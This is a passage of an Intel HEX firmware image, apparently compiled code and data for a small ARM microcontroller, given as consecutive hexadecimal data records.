302007819030058A6020039\n:10A6E000F0B587B004000E00170002F087F802A949\n:10A6F00005002000FEF730FC0400042F4ED1B30704\n:10A7000034D1274B32689A4230D105AB04AA03A951\n:10A71000300018F02EFF059B224FBB4204D0032BC4\n:10A7200002D02148F6F7A0FF039B2600BB4207D0CA\n:10A730000122210000922800029AFFF76FFF060015\n:10A74000029A049BA118BB4206D001212800009167\n:10A750002100FFF763FF01000E208E4204D88A1B00\n:10A760002800310018F08EFD07B0F0BD0023029ADA\n:10A770000093210033002800FFF750FF02780121E9\n:10A7800053B2002B06DA4023012101E001315B08BE\n:10A790001342FBD10122FEF7A5FBE5E70020E3E72A\n:10A7A00044BC020024DD02004D0E0300F0B585B06C\n:10A7B0000C00FEF7B9FB03AA070002A9200002F073\n:10A7C000A5F9029E039B35001035AD0028000193CA\n:10A7D00017F0E9FB04002C22103000211EF0F7FED8\n:10A7E00067602700104BE6632360104B019EA36057\n:10A7F0000F4B403DE3600F4B403763610E4B7519C3\n:10A80000A3610E4BE3610E4B23620E4B63620E4B52\n:10A810006363AE4202D1200005B0F0BD01CEFEF769\n:10A8200083FB01C7F5E7C046B8B802004DA8000099\n:10A83000B1A80000992A0100352B010071A8000081\n:10A84000312C0100212A01006CD1020070B50C00EE\n:10A8500005000B6805495A6818F0B7FB2168280005\n:10A8600040312200F7F71EFC70BDC046F905030019\n:10A87000136870B5002B12D10468E56B4034AB420D\n:10A8800000D170BD9E00A659B14201D00133F6E758\n:10A89000591CF6D002339B001B581360F1E70249A4\n:10A8A000024817F0CFFAC046C8190300A8A1020059\n:10A8B000F0B51700C26B85B0CE1905000191039366\n:10A8C000964206D0330027492748F7F7A9FEFCF740\n:10A8D000E7FD0021300008F00DF90400019B056040\n:10A8E0009B001A000399083002931EF054FE029850\n:10A8F000BA000830201800211EF069FE029A039B5E\n:10A9000094466344F7191E00019BBB4202D320000A\n:10A9100005B0F0BD3068FEF707FBEB6B0200029359\n:10A9200040239C460021AC44029B994204D10F492C\n:10A930000D48F7F775FECAE760468B00C0588242A3\n:10A9400001D00131F0E70131F1D0E3189968002915\n:10A9500001D00749ECE7726808369A60019B023320\n:10A960000193D1E72B08030058A60200DC1903006D\n:10A97000FD19030070B504000D00104918F067FAC6\n:10A9800069680122200001F051FF0D4E20003100C6\n:10A9900018F05DFAA9680122200001F047FF31009C\n:10A9A000200018F054FAE9680122200001F03EFF6F\n:10A9B0000449200018F04BFA70BDC0462C1A030061\n:10A9C000C8070300BD42030070B5060010200D004B\n:10A9D000140017F0E8FA034B466085600360C4601A\n:10A9E00070BDC04644BC020070B506000D000028D2\n:10A9F00014DD002907DD15480FF0D8FF0124B0420F\n:10AA000009DB002407E00100C02000060FF0CEFFA4\n:10AA10000124A842F5DDE4B2200070BD002907DD65\n:10AA2000C02000060FF0C2FF0124B042F3DCE8E7CB\n:10AA30000024A042F0D0010004480FF0B7FF01232A\n:10AA4000A84200DC231CDCB2E6E7C046FFFFFF3F64\n:10AA5000044B054A98331B6804481A60044A9A80DC\n:10AA60007047C046842E00207800040024DD0200D8\n:10AA700004040000084A10B5130098331B68997944\n:10AA8000002908D0916C0029F9D0002199711B6927\n:10AA90005879F6F7E1FE10BD842E002013B5084C5E\n:10AAA00098342368188817F0E9FF236800905888C5\n:10AAB00017F0E4FF69460190022008F01BF816BD6C\n:10AAC000842E002010B50D4C002803D0086805F036\n:10AAD0004FFF04000A49200008F052FA6079002173\n:10AAE000F6F7BAFE200008F035FA0022054B0648BA\n:10AAF00098331B681A619A7110BDC04600CF0200DE\n:10AB0000DCD20200842E002024DD02001FB50C4B95\n:10AB100002AC009301940223F7F740FC029A002A4A\n:10AB200003D0084B98331B685A806268002A03D010\n:10AB3000044B98331B681A80034804B010BDC0460C\n:10AB4000C0BD0200842E002024DD0200F0B5254B9C\n:10AB500089B004AC009301940423F7F71FFC224F43\n:10AB6000224A3B0098331B6804989A80204B03408C\n:10AB7000062B06D0830730D102681E4B92699A4299\n:10AB80002BD1012303940293002698373B68186960\n:10AB900008F0E0F93B6860681E6105F0E9FE1649BF\n:10ABA000050008F0EDF93B68144A9E71126802999D\n:10ABB0009A60227B9981DA71DE81039A012900D1A2\n:10ABC00012685A6101221D619A71237A002B01D00B\n:10ABD000FFF750FF0A4809B0F0BD03AA02A901F02F\n:10ABE00095FFD1E780BD0200842E00200404000000\n:10ABF000070080FF199D0000DCD20200D82F002042\n:10AC000024DD0200F0B5274B89B004AD0195009317\n:10AC10000423F7F7C3FB6B68A868049E039305F051\n:10AC2000A7FE214F040098373B68186908F092F995\n:10AC300000223B681D491A61200008F0A1F96079E3\n:10AC400080212D7BF6F708FE002E1CD16079F6F7E7\n:10AC500083FE039B002B13DB0022134B1449983314\n:10AC60001B6803989A710968DA714118DA605A61B1\n:10AC7000023299601C619A71002D01D0FFF7FAFE33\n:10AC80000C4809B0F0BD31000B480FF005FEF6F797\n:10AC9000BFFD0028DDD06079F6F75EFE0748F6F7C5\n:10ACA000F1FAC046A0BD0200842E0020DCD20200D2\n:10ACB000D82F002024DD020040420F00331A030089\n:10ACC00010B5182017F06FF9064B98331860064B33\n:10ACD0000360064B83800023837103614361044852\n:10ACE00010BDC046842E002078000400040400003B\n:10ACF00024DD0200F0B56D4C87B02600983633682D\n:10AD0000002B40D09A79002A3DD0694D99682A6875\n:10AD1000914238D89A79022A0BD11B6900215879BF\n:10AD2000F6F79AFD2B6832680A339360012393711A\n:10AD300029E09A79012A26D19A89D989914204D3A6\n:10AD4000DD79002D19D00021D9815869012A02D05E\n:10AD5000DA8992001058574A904216D11B69002197\n:10AD600058799834F6F778FD2468534821880FF015\n:10AD70001DFE0123A060A37105E09D71186908F014\n:10AD8000E9F833681D6107B0F0BD05A9FEF7FEFCC8\n:10AD90009834236801901B69802158790293059E9D\n:10ADA000F6F75AFD019B24681F781F23218842482B\n:10ADB0001F400FF0FBFD61880FF0F8FD7D1EEDB226\n:10ADC0000390012E5AD9019B5B78232B4DD0622B27\n:10ADD00050D1002D4BD0023FFDB26A1E53425A4162\n:10ADE0005242022E4ED0012102230198C05C3A2823\n:10ADF00003D00F27384020710133207984469E42CA\n:10AE00000ED90198C05C3A280AD1581C864207D94D\n:10AE1000019F0233385C0F2738409E4235D860715D\n:10AE2000092D3DD86346043B9A1852B26F00234B5C\n:10AE3000002900D1224BD85B002A2EDB1041F6F707\n:10AE4000E7FC1A4B039998331A68537959430B005E\n:10AE500017490A3B09680A2B00DA0A235B1893603A\n:10AE6000D3890133D381022361E70022B9E72A00A5\n:10AE70000625B6E7002101230A00B6E700210123D9\n:10AE80000A00BAE733000121B7E70A267043019EA2\n:10AE90006071F65C3E408019C1E752429040CEE7B7\n:10AEA000029B00215879F6F7D7FCCAE7842E0020D0\n:10AEB000D82F002024DD020060EA00000A0403000D\n:10AEC000FC03030070B5040001F098FC00230C495A\n:10AED000DA0052181568A54205D15168094817F0E3\n:10AEE000B6FF012070BD0133612BF1D1064B9C42AE\n:10AEF00003D0984201D00020F4E70449EEE7C046B1\n:10AF000018BE020034B7020034DE0200411A03000A\n:10AF100010B53E2803D040282ED03C2816D1532906\n:10AF200027D016D84C2924D008D8482955D04929EB\n:10AF30001FD042290AD10123180043E04F2905D32D\n:10AF40000123502916D9082051293BD02748F6F76C\n:10AF500099F9682941D006D8642941D0662908D0DA\n:10AF60006229F3D1E7E76C2903D0712938D0692928\n:10AF7000ECD10123042025E0512934D011D84929EE\n:10AF80000DD007D84229D6D002234829D4D0012990\n:10AF9000DCD1D0E74C2902D0D8D34F29D6D3042313\n:10AFA000CAE76629FBD006D86229C4D064291AD022\n:10AFB0005329F4D0CAE76929F1D007D80223180031\n:10AFC0006829C3D1002A00D0136010BD6C29E6D0D7\n:10AFD000082318007129F5D0B8E701230220F1E712\n:10AFE00001230820EEE70823A6E7C04648400300F7\n:10AFF00010B551283DD017D8492810D00AD842287A\n:10B0000028D048282BD0012824D0002301205B0021\n:10B01000184308E04F2848D017D84C28F5D19200A3\n:10B02000505817F046FD10BD682815D007D8642881\n:10B0300030D0662824D06228E7D18B56E6E76C280A\n:10B0400003D071280ED06928DFD19200505817F034\n:10B0500015FDE8E78B5CD9E75200535ED6E7520056\n:10B06000535AD3E7D2008A181068516817F0F7FCDA\n:10B07000D9E7D2008A181068516817F00BFDD2E7A3\n:10B080000323920050589843030002201843084BB2\n:10B09000C018C8E7D2008A181068516812F0FEFB89\n:10B0A000032302009A431300EFE792005058BAE7D7\n:10B0B00000008080F7B51700156801AA04000E0093\n:10B0C000FFF726FF402C05D1019B043C5A1EAA180D\n:10B0D0005D4215405A213E3C62426241B142894183\n:10B0E0002B183B60D2B22B00494218F069FA0400D9\n:10B0F0000D004F2E08D0532E07D11EF0BCFA0022AF\n:10B1000001002000FDF7EEFEFEBD662E06D10323F2\n:10B1100002249843154B2043C018F5E7642E06D14E\n:10B1200012F0BCFB0323040002209C43F2E75A2EDA\n:10B130000FD980220023D20512196B41002B04D1B4\n:10B14000002A02DB17F09AFCDEE7290017F087FCE3\n:10B15000DAE7002905D1064B984202D817F0A9FC7E\n:10B16000D2E7290017F096FCCEE7C04600008080A9\n:10B17000FFFFFF3FF0B589B0160005AA02931C68D7\n:10B1800001900F00FFF7C4FE019B0500402B06D184\n:10B19000059B5A1EA2185C423C2314400193029A5C\n:10B1A00063191360019B3E3B03935A425341DBB248\n:10B1B0000293642F12D0662F0BD04F2F2AD1280074\n:10B1C000042D00D9042033002200029918F021FA3E\n:10B1D0002CE0300001F05CFC0600F0E7300001F0EC\n:10B1E00057FC12F009FB029B0690079108AA9B00EE\n:10B1F000D318083B22001B680299042018F009FAB2\n:10B20000039B04345A1E934108AA9B00D318083BA1\n:10B210001E68D4E7B3070BD1104B32689A4207D1AE\n:10B2200023002A000299300017F0F5FB09B0F0BDA9\n:10B23000300001F0C7FB0600042DC0D900215A2FB1\n:10B2400002D9884200DAFF312A0020001EF0BFF93F\n:10B25000019B3E2BB3D12B1FE418B0E704C60200BC\n:10B26000F7B506000F0014001D0064280DD06628F5\n:10B2700004D04F2813D19400E35105E09400180046\n:10B280000F1901F005FC3860F7BD180001F000FC53\n:10B2900012F0B2FAE4003F1938607960F4E7032352\n:10B2A0002B40019311D10E4B2A689A420DD1019A7D\n:10B2B00001004020FFF72CFE230043430200FB184F\n:10B2C0000199280017F0A7FBDEE7280001F07AFBC0\n:10B2D000220003003900300018F0B0F9D4E7C0466E\n:10B2E00004C6020010B50400002906D0044B8A6B86\n:10B2F000036009680023F7F7FFF92000FCF7D0F896\n:10B30000E0A50200F0B5040087B00392029366182E\n:10B31000002A06D0023A222A03D93548F5F7B2FFAF\n:10B320000134B44229D2207809F0F2FE071EF7D189\n:10B3300023782B2B1CD10134311B200003AA17F0DA\n:10B3400087FC23181C0000250193B44217D3002F5B\n:10B3500000D06D4201236D001D43019B9C422FD103\n:10B360002449039A2448F7F75BF90299FFF7BAFFDB\n:10B370002D2BE1D101340127DEE70027DCE723781C\n:10B380001A00303A0092092A07D9202213431A00E2\n:10B39000613A192ADBD8573B00930399009B9942E5\n:10B3A000D5D92800FFF720FB002816D1039B5D4369\n:10B3B000009BED186B006B400FD40134C5E70134DE\n:10B3C000B44205D2207809F0A3FE0028F7D1C7E7E0\n:10B3D000B442C5D1280007B0F0BD019B3A000593E7\n:10B3E000F11A05A8039B17F06FFB059C0500B4E755\n:10B3F0008C400300AF400300D0A60200F0B504006B\n:10B400008BB00893431804920193019B9C4200D394\n:10B41000FCE0207809F07CFE071E38D123782B2B26\n:10B4200037D101340590019B9C4200D3F0E02023EA\n:10B4300022781A43692A33D10199A21C914200D87B\n:10B44000DDE062781A436E2A00D0D8E0A2781A4371\n:10B45000662A00D0D3E0E21DE51C914214D9E278BF\n:10B460001A43692A10D122791A436E2A0CD16279C3\n:10B470001A43692A08D1A2791A43742A04D1E279BD\n:10B480001343792B00D10535FF26F6051BE0013467\n:10B49000BBE705902D2BCAD12C3B01340593C2E7A5\n:10B4A0006E2A1AD10199A21C914200D8A7E06278B5\n:10B4B0001A43612A00D0A2E0A27813436E2B00D079\n:10B4C0009DE05E4EE51C059B002B02D080231B06F1\n:10B4D000F618AC427AD15A498BE0002207920292C8\n:10B4E000584A2500069200220026039209932B78E1\n:10B4F0006F1C1800303809282AD8022E0AD10A23D6\n:10B50000029A53431B180293019BBB4200D889E067\n:10B510003D00ECE710F040FB051C012E0ED1011C94\n:10B5200006980FF0FFFF011C03980FF0ADFC454992\n:10B53000039006980FF0F6FF0690E5E7424903985E\n:10B540000FF0F0FF291C0FF09FFC00260390DBE7B3\n:10B55000002E03D12E2B03D10126D5E7022E16D0C3\n:10B56000099A1A43652A12D1019BBB4256D96B78BE\n:10B570002B2B05D1AF1C019B9F42ACD00226C3E709\n:10B5800002262D2BC4D12C3BAF190793F3E7049A65\n:10B59000002A04D0202213436A2B13D13D00079BBD\n:10B5A000002B02D0029B5B420293029810F0AAFA91\n:10B5B000011C254812F0A8FE03990FF0B3FF049F69\n:10B5C000061C80E700230493E9E70135019B9D42B7\n:10B5D00005D2287809F09CFD0028F6D17BE7019B75\n:10B5E0009D4200D077E7089B002B01D1002F1CD093\n:10B5F0001649174816F01DFD1099FFF773FE059BBD\n:10B60000002B00D167E7250000265FE700230593A4\n:10B6100000230393002325000493C5E7019BBB424D\n:10B6200000D158E700230493B8E7032302209E4388\n:10B63000084B3043C0180BB0F0BDC0460000C07FBF\n:10B6400072400300CDCCCC3D0000204155400300AA\n:10B65000D0A6020000008080002803D0012807D077\n:10B66000002070478B680448002BFAD10348F8E7A4\n:10B670008B685B001843F4E7B4AD0200ACAD020088\n:10B68000044B88600B60044B08004B600023CB60C8\n:10B690007047C04684DC0200BB360200002183688C\n:10B6A00070B5DA0FD21852109B00043B8A4201DCBD\n:10B6B000054870BDC5688C002C19ED5826682560BA\n:10B6C000C4680131E650F0E724DD020070B58368FC\n:10B6D0000D00416804008B4212D3C900C06816F007\n:10B6E00080FC63680A495A00A3686260D21A013379\n:10B6F00052189B00E0609200C01800211DF067FF07\n:10B70000A368E268591C9B00A16002489D5070BD6F\n:10B71000FFFFFF3F24DD0200F8B5070016004C10C4\n:10B72000836810D5E4180ED500240C4D380029008C\n:10B73000FFF7CCFFBB68013BFA689C4207DBA40023\n:10B740002800A650F8BD9C42EFD91C00EDE79800F8\n:10B750001118043909681150EDE7C04624DD0200D4\n:10B7600070B50025040085601021C06816F039FC12\n:10B7700004232900E060636010221DF028FF0148C7\n:10B7800070BDC04624DD020030B50C0085B0104B02\n:10B7900002AD04310093013802230195F6F7FEFD56\n:10B7A00023680C4C996801290FD9D8680A4B029A72\n:10B7B000C91889004118A24200D100222D79074BF7\n:10B7C000002D00D1064B17F086FF200005B030BDDC\n:10B7D00020C1020024DD0200FFFFFF3FACAD0200EC\n:10B7E000B4AD020070B50C680B00A168020000291E\n:10B7F00003D11949194816F025FB2068012A27D0E2\n:10B800005A68002301F0B8F9E168A26886008B1934\n:10B81000013A1D680436A260121A920089191800B4\n:10B820001DF0C2FE0021A368E0689A001150616813\n:10B8300004290BD95B00994208D949088900E068BE\n:10B8400016F0CFFB6368E0605B086360280070BDA2\n:10B8500001225242D5E7C046D74003004CA3020064\n:10B8600007B5009001910220694617F09CFF6946D8\n:10B8700001900220FFF7B6FF00480EBD24DD020054\n:10B8800070B50E000D490500002417F0E0FAB3680A\n:10B89000A34204D828000A4917F0D9FA70BD002C39\n:10B8A00003D00849280017F0D2FAF168A30001225A\n:10B8B0005958280000F0BAFF0134E8E74B0E0300A6\n:10B8C000BA570300C807030070B5032604000D0033\n:10B8D0000E4029D1174B0A689A4225D183688A689D\n:10B8E00099184368994210D904318900C06816F04C\n:10B8F00078FBAA68A368E0609B181A1D9B00626031\n:10B90000C018102231001DF062FEA368E96898009B\n:10B91000E3681818AB689A001DF03DFEAB68A2689A\n:10B92000D318A360044870BD2900200017F044FF1D\n:10B93000F8E7C046FCC1020024DD02000B4B70B5E5\n:10B94000050003600C000800042900D20420686090\n:10B95000AC60800016F027FB6A68E860121BA40048\n:10B960009200001900211DF032FE70BDFCC10200E2\n:10B970007FB50D001600122847D01ED8052824D008\n:10B98000002407281ED103A9100001F059F8041E55\n:10B9900018D0039B002B01DA00230393AB680398B4\n:10B9A000584317F022FFC36804000093AA68039B62\n:10B9B0000421E86819F0B5FB04E00300193B0024FA\n:10B9C000042B28D9200004B070BD032300241340A9\n:10B9D000A342F7D11C00194A33689342F2D18B6815\n:10B9E000B268981817F001FF0400AB68E9689A0084\n:10B9F000C0681DF0D0FDA868E36880001818B3681F\n:10BA0000F1689A001DF0C7FDDCE711002800FFF780\n:10BA10005BFF2C00D6E793070DD1084B12689A42C2\n:10BA200009D1B36800938A68F368C96805F02AF8F9\n:10BA3000034C0028C6D1034CC4E7C046FCC1020039\n:10BA4000B4AD0200ACAD0200F0B5032704008BB02A\n:10BA50000E0010000F40002A33D1002F2AD1654B71\n:10BA60000A689A4226D104AAA06804F09BFF002825\n:10BA700002D16148F5F7F8FD0599049BA268E068DA\n:10BA80005D1A521A9B00890041189200C0181DF0DF\n:10BA90008BFDA368AA00E818E368800018185242DA\n:10BAA00039001DF094FDA3685D19A560534D280071\n:10BAB0000BB0F0BD07A9022007940896FFF792FE8D\n:10BAC000F4E7042A2CD1A068002F1FD1494B0A6843\n:10BAD0009A421BD107AA04F065FF002806D107AAE5\n:10BAE000E168A06819F030FB0500E0E7079B0898C3\n:10BAF000C01A17F07AFE8368E1689A00079B050078\n:10BB00009B00C918C0681DF046FDD0E70023010066\n:10BB10003200206801F030F8E3688000C558C6E7BD\n:10BB2000364D002F60D1334B0A689A425CD103AA8C\n:10BB300002A900F0EBFF07AA3100A06804F032FF71\n:10BB4000002896D0079B029A08999E180191761AB0\n:10BB5000E068002E27DDA368F1186368994206D9D2\n:10BB6000890016F03EFAA368E0609B196360029AB0\n:10BB7000079BA1689B18F21A52180899E0689B006D\n:10BB8000890041189200C0181DF00EFD029B039918\n:10BB90009A00079B9800E36818181DF005FDA3683C\n:10BBA0009E19A66083E79B000399C01892001DF0C0\n:10BBB000F2FC0899A268E368521A890001935918A7\n:10BBC0000798029B9200C018019B800018181DF076\n:10BBD000EBFCA368B200F018E3688000524218182A\n:10BBE00039001DF0F4FCDAE702003100200017F004\n:10BBF0003DFE5CE744BC0200C312030024DD0200EA\n:10BC0000054B10B59A6C002A04D00022986C9A64F7\n:10BC1000FBF746FC10BDC046842E00200122002008\n:10BC2000074B08495A600860A821DA60064AC90033\n:10BC30005A5006495A5004315A5005495A507047D3\n:10BC400000A000400CAC0040FCFF000044050000D8\n:10BC50004C050000034B04481B78002B00D103481F\n:10BC60007047C046D92D0020B4AD0200ACAD020033\n:10BC7000F7B5A827A925314BFF0019689C46304B22\n:10BC800004201A68ED008A18891819602D4B00915C\n:10BC90001B7812110193019C09112B4B2B4E002C88\n:10BCA00045D0002A38DA821AD8515A51812292009E\n:10BCB000002935DA2648511A1A5099510122254C8B\n:10BCC000DA602378002B21D02348244B01688C3381\n:10BCD00089181B683E320A409D5C019B002B01D0F5\n:10BCE000803D6D001C236B430260009A08339B1A51\n:10BCF00062469B1013601F23194007D1184B1A7816\n:10BD0000002A03D01748197008F074FD0123227827\n:10BD1000042053402370FEBD04325851DA51C5E768\n:10BD20009A51812292008918094A9950C6E7043233\n:10BD3000D8519A51812292005A51F4E714020020FE\n:10BD400004020020EA00002000A00040440500009A\n:10BD50004C050000D82D002008020020842E002071\n:10BD6000EB000020E33802001FB5012204000800A8\n:10BD700001A900F0E1FF029A202A00D92022002325\n:10BD800001980434934203D0C15CE1540133F9E7D4\n:10BD9000014804B010BDC04624DD020070B50400A7\n:10BDA0000800150000F00EFE1F2802D90C48F5F718\n:10BDB00069FA002D02D10B48F5F728FC2418042D50\n:10BDC00004D1012023795B00184370BD280000F0E6\n:10BDD000F9FDFF2801D90448E9E720710348F4E799\n:10BDE0001D410300314103000415030024DD02005E\n:10BDF0000123A022834010B5134CD2051351030038\n:10BE0000C133124CFF339B009C50114B8900C91861\n:10BE1000A223DB00CA580F4C00022240F824CA506B\n:10BE2000CA58640120401043C022920210430322EA\n:10BE3000C850CC58084822432043C850C046C0468A\n:10BE4000C046CA5010BDC0460C05000003030000E8\n:10BE500000600040FFE0ECFF031F0000A0221E2155\n:10BE6000114BD20070B59C58104D8C439C50A324AC\n:10BE7000E4001D510E4C0F4D0F4E5C5104355E51C8\n:10BE80000E4D80005C51A5240D4DE4001D51084C61\n:10BE90000C4D00190C4C185104341D510B4C185109\n:10BEA00098580143995070BD00F0014040A10040F6\n:10BEB000006000401C05000044A100402405000073\n:10BEC00048A100404CA100402C05000034050000B2\n:10BED00010B504000A4907F053F80A4BA0211C6072\n:10BEE00001236079084A8340C9058B500021FFF780\n:10BEF0007FFF0020FFF7B2FF0022044B1A7010BD35\n:10BF0000E4D202000C0200200C050000EA00002030\n:10BF100070B50D000400134E2800310007F030F812\n:10BF20003100200007F02CF80F4BA0221C600F4BB3\n:10BF3000D2051D60607901242100814026000C4B50\n:10BF4000D15069798E400021D650FFF751FF6879B2\n:10BF50002100FFF74DFF2000FFF780FF054B1C700D\n:10BF600070BDC046E4D202000C0200201002002086\n:10BF70000C050000EA000020F8B50025FFF74EFE92\n:10BF8000214B280090331D6008F002FCA0221E20E7\n:10BF90001E4B1F491D701F4BD2001D601E4B1F4CB6\n:10BFA0001D608B581E4F83438B50A223DB00E25849\n:10BFB0001C4E3A40E250E2581B493243E250012203\n:10BFC000E5501A4B186843799A401300A022D20515\n:10BFD000535006F0BFFF164B1B78AB4213D0154BE6\n:10BFE0001149E2581740E750E25816430122E65043\n:10BFF000E550114B186843799A401300A022D205EE\n:10C00000535006F0A7FFF8BD842E0020D92D002044\n:10C0100000F00140040200201402002000600040F3\n:10C02000FFE0ECFF001F03000C0500000C020020E5\n:10C03000EA0000201405000010020020F0B53E4E7A\n:10C040008DB0330090331B680500002B03D1FFF740\n:10C0500093FF0DB0F0BD002801D007F027FB684624\n:10C06000FBF7F8F9002822D1330090331868F4F771\n:10C0700021FD0400FBF70CFA002D01D007F020FB96\n:10C080002E4B20221D6833006D118C3301356D015C\n:10C090001B6815405D19002C2DD190362100280019\n:10C0A00034601DF094FA0122254B1A70D1E7002D5F\n:10C0B00001D007F005FB019B22491868FCF7A0FDA1\n:10C0C00000240500A042DBD1019F380000F096FB60\n:10C0D0001D4B98420BD12900012006F00BFD2A00D0\n:10C0E0000400F8601F211948FCF7FCFEA060019BCA\n:10C0F0000024B364C4E7200000F080FB144B984296\n:10C1000009D0330000229033124913481A6015F009\n:10C1100090FFB0649DE763682B60A3686B60E36881\n:10C12000AB602369EB6063692B61A3696B61E369B1\n:10C13000AB61236AEB61B6E7842E00200802002081\n:10C14000EB000020A4A502003CA40200EB40030089\n:10C15000E0C202000B41030058A6020010B5FFF731\n:10C160000BFF014810BDC04624DD0200F0B589B0C8\n:10C170000493744B03901B780E001500002B01D024\n:10C18000FFF7FAFE704C8C342368002B06D16E4A00\n:10C1900040209032136015F006FF206080226B4B28\n:10C1A000D200DA6701226A4C6A4BE250FFF736FD93\n:10C1B0000023694AF021A3500432A3500832A3504F\n:10C1C000C22209039200A150644F093AFF3AA350DA\n:10C1D0000594BE4200D0A4E0B54200D09EE0604D80\n:10C1E00007AC280006F0C0FE002805D001235D49F9\n:10C1F0002800237006F0C4FE5B4D280006F0B4FE54\n:10C20000002805D0012357492800637006F0B8FEC6\n:10C21000564D280006F0A8FE002805D001235149FC\n:10C220002800A37006F0ACFE0023514F5A1C029266\n:10C2300007AA9B5C002B3AD1029A04370123022AF9\n:10C24000F4D1474804F094FBFFF742FE0021039825\n:10C25000F4F7F6FB002501243F223B4B802190336D\n:10C260001860444B1D70444B1C70444B1A60364B95\n:10C2700012198C3318681DF0AAF92800FFF7DEFEAA\n:10C280003F4B304E1C60059B50221C603D492800EE\n:10C29000347008F049FA049BAB4250D02A4B3278F4\n:10C2A000002A4CD09A6C002A49D120BFF7E7A0227F\n:10C2B00003213C68D2056379029DC133FF339B00A3\n:10C2C000995007ABEB5C002B24D00426284BAA0026\n:10C2D000D358009301226379A0219A40A123C90574\n:10C2E000DB00CA50009B05331800019317F0D9FA00\n:10C2F00001280FD16379A0219840234BC905C8506C\n:10C30000019817F0CEFA002804D1013E002EE1D1A9\n:10C31000009910E0022D8FD00225D2E71B48F5F7D7\n:10C3200075F9300004F024FB0400BD428CD02800D5\n:10C3300004F01EFB01002000FFF7EAFD86E709B0CC\n:10C34000F0BDC046D92D0020842E002004E100E07D\n:10C3500000A00040FC0F00000405000024DD0200E6\n:10C3600000CF0200B4D2020048CF020058CF020032\n:10C37000ACC20200D82D0020EB00002008020020F3\n:10C380000CAC004071BC00000C05000056410300DD\n:10C3900010B5084B86B002AC009301940423F5F766\n:10C3A000FDFF02982379E268A168FFF7DFFE0248EB\n:10C3B00006B010BDB8C2020024DD0200014B18789F\n:10C3C000C0B27047D92D002010B5242015F0EBFD28\n:10C3D0000400044B202208C080211DF0F8F8200042\n:10C3E00010BDC046E0C20200F8B5070008000D000D\n:10C3F000160000F003FA304B98425BD1781F0F28EB\n:10C4000058D80EF035FA080832575757575757572C\n:10C41000575757303055FFF7D7FF04230400EA5C25\n:10C42000E2540133242BFAD1300000F0E7F9224B1B\n:10C4300098423FD10121052F02D0122F00D002399E\n:10C440000422FF20B35CA55C803B4B435B19FF2BB0\n:10C4500003D90500DB179D432B00A3540132242A86\n:10C46000F0D12000F8BD2C00DEE7FFF7ADFF04237C\n:10C470000400EA5CE2540133242BFAD1300000F0CE\n:10C4800007FB0F2117F032FA2100FF25221D24316E\n:10C490001378803B4343DB138033FF2B03D92E00FB\n:10C4A000DB179E433300137001329142F0D1D8E77D\n:10C4B0002C00E3E70024D4E7E0C2020070B50500D9\n:10C4C00000291ADB032912DC00240D4B5E5CB52128\n:10C4D00009023143280017F031FA002C04D0094931\n:10C4E0002800214317F02AFAAE61EC6170BD0123E8\n:10C4F000023999430C00FE26E9E70024F226E6E71C\n:10C500007841030080B0000070B50D0000F0C0FA63\n:10C51000041C280000F0BCFA211C0FF019F9051CBE\n:10C5200017F0CDFA011C281C0EF0FCFF211C0EF0A8\n:10C53000ABFC0323020002209A43024B1043C018B5\n:10C5400070BDC0460000808010B517F0B8FA032314\n:10C55000020002209A43024B1043C01810BDC0468F\n:10C560000000808010B5074C002802D00868A04267\n:10C5700003D10AF069FB200010BD00F04FFA0AF069\n:10C5800083FBF8E724DD020010B5040000F08CFB0B\n:10C5900000F018FA002803DC0021064815F052FCD0\n:10C5A0000AF02CFB16F06AFA04220100200000F0C9\n:10C5B00091FB10BD4CA30200F8B5070008680C0001\n:10C5C00018F0AAFD0500606800F03AFB0600022F93\n:10C5D0000AD9A06800F0F6F902003100280017F02F\n:10C5E000DFFA16F04BFAF8BD004AF6E740420F00BA\n:10C5F000F0B587B0002807D1604B6148196816F084\n:10C6000026FC604807B0F0BD0D685F4B9D4251D1DC\n:10C610000021080017F00CF90024050003905B4B83\n:10C620005A680192944215D30026594A03A9012061\n:10C63000FFF7AAF805AA04A9039817F010F9049BBC\n:10C6400003339B080193019B4D4DB34210D15149D7\n:10C650002800D4E79B680193019AE30099580029C8\n:10C6600004D0042902D02800FFF730F80134D6E7BF\n:10C670003700059ABB009858FDF772F801002800B2\n:10C6800016F0E5FB019BFF18049B9F420CD212237E\n:10C690001C1A002C06DD013CEBD33F49280016F0A4\n:10C6A000D6FBF8E71234F4E73C49280016F0CFFB3C\n:10C6B0000136C8E7280000F0A1F8394B42689A42D9\n:10C6C00000D16D682800FEF7FDFB061E99D12C4CA9\n:10C6D0003449200016F0BBFB3100280000F0C0F800\n:10C6E000280017F012FB30490200200016F06DFC04\n:10C6F000AB0732D12B682D4A93422BD1280016F07C\n:10C700004FF918F0F9FC00250600A84200D178E79F\n:10C7100073689D4200D374E7B268EB00D3181F68BA\n:10C72000002F15D05B6822492000019316F08FFB83\n:10C730000021380000F094F81E49200016F087FB15\n:10C740000021019800F08CF81449200016F07FFBBE\n:10C750000135DDE7184A934203D0280000F04EF877\n:10C760000500A86B002800D14BE7830700D048E7FD\n:10C77000124B02689A4200D043E7C2E71C00002037\n:10C7800034B7020024DD02004614000098B1020014\n:10C7900014F402007C410300E15A03008E6F030091\n:10C7A0000D020000A0410300A84103006CB202008A\n:10C7B000E05A0300B8410300B8B8020098CC020068\n:10C7C00003000F2010B5084002280ED80EF050F8D4\n:10C7D00002040900180010BD0648002BFBD10648D2\n:10C7E000F9E7180016F04AF9F5E7180016F061F9B4\n:10C7F000F1E7C046B4AD0200ACAD0200074BC20782\n:10C800000AD4074A074B0240062A05D00322064BEA\n:10C810000240022A00D003681800704704C60200D4\n:10C82000070080FF40BB02000CAB020070B50D009A\n:10C8300004001600F5F7B6F92800FFF7DFFF83685C\n:10C84000002B04D0320029002000984770BD4268B8\n:10C850000249200016F0B9FBF8E7C0460143030087\n:10C8600010B50A0001000248FFF7E0FF10BDC04606\n:10C8700034B70200F7B5040008000E0015F0DDFB28\n:10C8800000280FD001AA69463000F5F769FF009B28\n:10C89000002B07D01549200016F0D9FA009BDD1EA9\n:10C8A000002D09DA310002222000FFF7BFFF1049F6\n:10C8B000200016F0CCFAF7BD019AAF00D3195B68DF\n:10C8C000D2590C49200016F080FB019BDF19BA6891\n:10C8D000002A05D10649200016F0B9FA033DDFE72A\n:10C8E0000549200016F071FBF8E7C046BF4203007F\n:10C8F0008E6F0300E3420300F842030010B504000A\n:10C90000FFF77CFF054B0069984203D0431E984116\n:10C91000C0B210BD200016F04FFCFAE71D8A0000DF\n:10C9200070B505000C0001208D4203D0214B9D42C3\n:10C9300001D1002070BD9942FBD001231D4204D0DB\n:10C940001942F6D12B000D001C002A001A4B1A408